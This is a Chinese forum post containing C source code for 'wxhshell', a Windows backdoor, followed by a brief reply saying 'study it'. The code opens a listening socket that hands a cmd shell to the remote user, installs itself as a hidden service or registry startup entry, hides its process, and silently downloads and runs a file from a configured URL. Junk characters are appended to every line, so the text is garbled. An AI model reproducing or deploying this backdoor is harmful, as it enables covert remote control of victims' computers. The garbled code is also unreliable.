  if(DownloadFile(cmd,wsh)) w&:"x@ -|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gt{~u^<  
  else !>W _3Ea  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r'wam]1Z  
  } N'w ;1,c+  
  else { Z6\OkD  
(dvCejc^p  
    switch(cmd[0]) { OV8Y)%t"  
  q$7WZ+Y\  
  // 帮助 ^\Gaf5{  
  case '?': { 48nZ H=(Eh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Ua`BWF  
    break; l'n"iQ!G  
  } 5rK7nLb  
  // 安装 1nhC! jDD  
  case 'i': { 4zX@TI>j  
    if(Install()) zL$$G,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :KGUO{_u  
    else V6)\;c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); avrf]raM|  
    break; */fmy|#   
    } O$ui:<]dS  
  // 卸载 `?{i dg  
  case 'r': { _PZGns,u  
    if(Uninstall()) *oqQ=#\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JK34pm[s  
    else ?(UeWLC#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ eu4W^W  
    break; 6a5 1bj!f  
    } |{udd~oE&  
  // 显示 wxhshell 所在路径 gZF-zhnC  
  case 'p': { GZ( W6 4  
    char svExeFile[MAX_PATH]; 8%q:lI  
    strcpy(svExeFile,"\n\r"); o5)lTVQ~~  
      strcat(svExeFile,ExeFile); sr1`/  
        send(wsh,svExeFile,strlen(svExeFile),0); ")T;3/c  
    break; LK5, GWF;  
    } E-\Wo3  
  // 重启 E9JxntX  
  case 'b': { _0p8FhNt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RGvfy/T  
    if(Boot(REBOOT)) [Zc8tE2oN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qT}<D`\  
    else { tJ`tXO  
    closesocket(wsh); w6(E$:#d  
    ExitThread(0); C)66 ^l!x  
    } PLlad\  
    break; |Am +f.  
    } 3.>M=K~09  
  // 关机 T9N][5\  
  case 'd': { yXyL,R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wv!#B$J~U  
    if(Boot(SHUTDOWN)) q9 !)YP+w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <=2\xJfxB  
    else { ~Ry?}5&:  
    closesocket(wsh); FY1 >{Bn  
    ExitThread(0); 9cQZ`Ex  
    } 5'=\$Ob  
    break; [vCZoG8+>  
    } k'Is]=3  
  // 获取shell vJTdZ p  
  case 's': { ^ z!g3  
    CmdShell(wsh); D>neY9  
    closesocket(wsh); c&4EO|  
    ExitThread(0); C],"va  
    break; =Ji+GJ <,9  
  } &[QvMh  
  // 退出 3fA.DK[4[  
  case 'x': { `F-<P%k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eW%Cef  
    CloseIt(wsh); J?9K|4 )  
    break; mAO$gHQ  
    } 5DB4vh  
  // 离开 &/)2P#u  
  case 'q': { 62BT3/~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &GMBvmP  
    closesocket(wsh); ;$=kfj9 :7  
    WSACleanup(); Ik W 8$>  
    exit(1); I|&<!{Rq  
    break; pK/r{/>r  
        } v__n>*x  
  } 3azyqpwU$  
  } |qe[`x; %  
G':wJ7[]`  
  // 提示信息 lRb|GS.h/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v0psth?qV  
} $aIq>vJO9  
  } c:? tn  
02+ k,xFb  
  return; UYOveQ;  
} r:rM~``  
ol^uM .k%_  
// shell模块句柄 -;T!d  
int CmdShell(SOCKET sock) {yj8LxX^  
{ C1/qiSHsh  
STARTUPINFO si; %0-fn'  
ZeroMemory(&si,sizeof(si)); \mGx-g6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :'hc&wk`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7I\qEr57  
PROCESS_INFORMATION ProcessInfo; {nQ?+o3  
char cmdline[]="cmd"; 5pC+*n.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zoh%^8? o  
  return 0; w~+C.4=7  
} mV~aZM0'  
}J_"/bB  
// 自身启动模式 8s+9PE  
int StartFromService(void) lk/T| 0])  
{ vMD%.tk  
typedef struct 9x4%M&<Z9a  
{ Mk=M)d`  
  DWORD ExitStatus; r1pj-   
  DWORD PebBaseAddress; {S l#z }@s  
  DWORD AffinityMask; ,Q%q!#@  
  DWORD BasePriority; z?Hi u6c-  
  ULONG UniqueProcessId; w?;j5[j  
  ULONG InheritedFromUniqueProcessId; ]{.iv_I  
}   PROCESS_BASIC_INFORMATION; @la/sd4`  
8rV"? m`S  
PROCNTQSIP NtQueryInformationProcess; zeqwmV=  
v,}Mn7:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JCe%;U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^$>Q6.x?*)  
Chso]N.1  
  HANDLE             hProcess; `eo$o!  
  PROCESS_BASIC_INFORMATION pbi; r$Gz  
,_wpYTl*X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P]A~:Lj  
  if(NULL == hInst ) return 0; +Oxw?`I$  
0gevn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -!bfxbP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4`X]$.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b7uxCH]Z  
Cf~ vT"  
  if (!NtQueryInformationProcess) return 0; LdH23\  
 U))2?#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #B$r|rqamq  
  if(!hProcess) return 0; "z8iuF  
y"I8^CA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gRsV -qS  
t>KvR!+`g  
  CloseHandle(hProcess); )(/Bw&$  
Ia@!Nr2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UM(`Oh8  
if(hProcess==NULL) return 0; JLz.lk*.  
._X|Ye9/  
HMODULE hMod; :q>uj5%  
char procName[255]; p~A6:"8s`=  
unsigned long cbNeeded; h 2QJQ|7a  
N9S?c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >2^|r8l5  
<V b SEi  
  CloseHandle(hProcess); S%Bm4jY  
;t xW\iy%Z  
if(strstr(procName,"services")) return 1; // 以服务启动 y$,j'B:;4m  
=".sCV9"N  
  return 0; // 注册表启动 Dug{)h_2  
} AqZ()p*z  
)x<oRHx]  
// 主模块 F?c : ).g  
int StartWxhshell(LPSTR lpCmdLine) xoB "hNIX  
{ w3>.d(Q  
  SOCKET wsl; [G<SAWFg7  
BOOL val=TRUE; FgnS+c3W(  
  int port=0; F2^qf  
  struct sockaddr_in door; (~Hwq:=.  
KvvG H-]  
  if(wscfg.ws_autoins) Install(); (?vKe5  
hfL8]d-  
port=atoi(lpCmdLine); Qd"R@+i  
^ZD0rp(l  
if(port<=0) port=wscfg.ws_port; 3?x}48  
$5r1Si)  
  WSADATA data; p!o+8Xz5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !h.bD/? K  
CBu$8]9=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ba "_ !D1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H1or,>GoO  
  door.sin_family = AF_INET; +ab#2~,)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ( L 8V)1N  
  door.sin_port = htons(port); ] <y3;T\~  
pKzrdw-!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [ApAd  
closesocket(wsl); rx\f:-3g  
return 1; 5M= S7B3=  
} &eIwlynm  
f1wwx|b%.  
  if(listen(wsl,2) == INVALID_SOCKET) { UNhM:!A  
closesocket(wsl); # n\|Q\W  
return 1; )uK Tf=;  
} VD0U]~CWR  
  Wxhshell(wsl); b|-7EI>l9  
  WSACleanup(); _s~F/G`iT  
+*=?0\  
return 0; dz"HO!9  
{^N90,!  
} T,uVt^.R+  
IuOQX}  
// 以NT服务方式启动 FV>xAU$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j=V2~ xA6  
{ Lv<)Dur0K  
DWORD   status = 0; _n12Wx{  
  DWORD   specificError = 0xfffffff; FX&)~)  
p}MH LM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :}+m[g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `XK+Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yoVN|5  
  serviceStatus.dwWin32ExitCode     = 0; 'U{6LSaCb  
  serviceStatus.dwServiceSpecificExitCode = 0; `\Hs{t]  
  serviceStatus.dwCheckPoint       = 0; x-Fl|kwX.5  
  serviceStatus.dwWaitHint       = 0; QV*W#K\7q  
qy,X#y'FuE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VK/i5yT5N  
  if (hServiceStatusHandle==0) return; gH[lpRu|7  
39Zs  
status = GetLastError(); />[~2d kb  
  if (status!=NO_ERROR) BDc "0XH  
{ c 6$n:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kOLS<>.  
    serviceStatus.dwCheckPoint       = 0; qp`G5bw  
    serviceStatus.dwWaitHint       = 0; .9u,54t  
    serviceStatus.dwWin32ExitCode     = status; Ku<_N]9  
    serviceStatus.dwServiceSpecificExitCode = specificError; &k0c|q]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gt:Ot0\7  
    return; (IIOVv 1J  
  } 2@+ MT z  
%q5iy0~P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; //H3{^{  
  serviceStatus.dwCheckPoint       = 0; ]zR,Y= #  
  serviceStatus.dwWaitHint       = 0; ~glFB`?[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8+U':xR  
} 90]{4]y;  
Nk/Ms:57y  
// 处理NT服务事件,比如:启动、停止 c69M   
VOID WINAPI NTServiceHandler(DWORD fdwControl) VsR`y]"g  
{ K$Yc!4M  
switch(fdwControl) iT"H%{+~  
{ @V5'+^O  
case SERVICE_CONTROL_STOP: G[[NDK  
  serviceStatus.dwWin32ExitCode = 0; ^bckl tSo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]J6+nA6)  
  serviceStatus.dwCheckPoint   = 0; bmu<V1[W  
  serviceStatus.dwWaitHint     = 0; ,';+A{aV  
  { G)wIxm$?0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "K$ y(}C  
  } \`:LPe  
  return; ICI8xP}a?  
case SERVICE_CONTROL_PAUSE: * S>,5R0k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fP 5!`8  
  break; ?.&?4*u  
case SERVICE_CONTROL_CONTINUE: p!w}hB598  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wJF Fg :  
  break; x1ID6kI[{*  
case SERVICE_CONTROL_INTERROGATE: ky5gU[  
  break; | QI-gw  
}; 2\1\Jn#q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tf@x}  
} ^iwM(d]#5  
Y2Y!^A89  
// 标准应用程序主函数 C},$(2>0+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `L<)9*  
{ ;o0o6pF  
c&T14!lfn  
// 获取操作系统版本 |~3$L\X  
OsIsNt=GetOsVer(); G$HLta  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 59I}  
Bt^];DjH  
  // 从命令行安装 `[J(a u$z  
  if(strpbrk(lpCmdLine,"iI")) Install(); y:zo/#34  
D7Nz3.j  
  // 下载执行文件 j']Q-s(s  
if(wscfg.ws_downexe) { pd{;`EW|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %C8fv|@:f  
  WinExec(wscfg.ws_filenam,SW_HIDE); wOp# mT  
} =7Y gES  
4$+9k;m'  
if(!OsIsNt) { <AB.`["  
// 如果时win9x,隐藏进程并且设置为注册表启动 tKUy&]T  
HideProc(); UW[{Y|oE  
StartWxhshell(lpCmdLine); <.<Q.z  
} N#`aVW'{v2  
else .iL_3:6f  
  if(StartFromService()) 7l})`> k  
  // 以服务方式启动 4IYC;J2L  
  StartServiceCtrlDispatcher(DispatchTable); K!9rH>`\  
else |V|)cPQ  
  // 普通方式启动 tK|hC[  
  StartWxhshell(lpCmdLine); cMEM}Qh T  
vAE?^*F  
return 0; 5B<G;if,  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五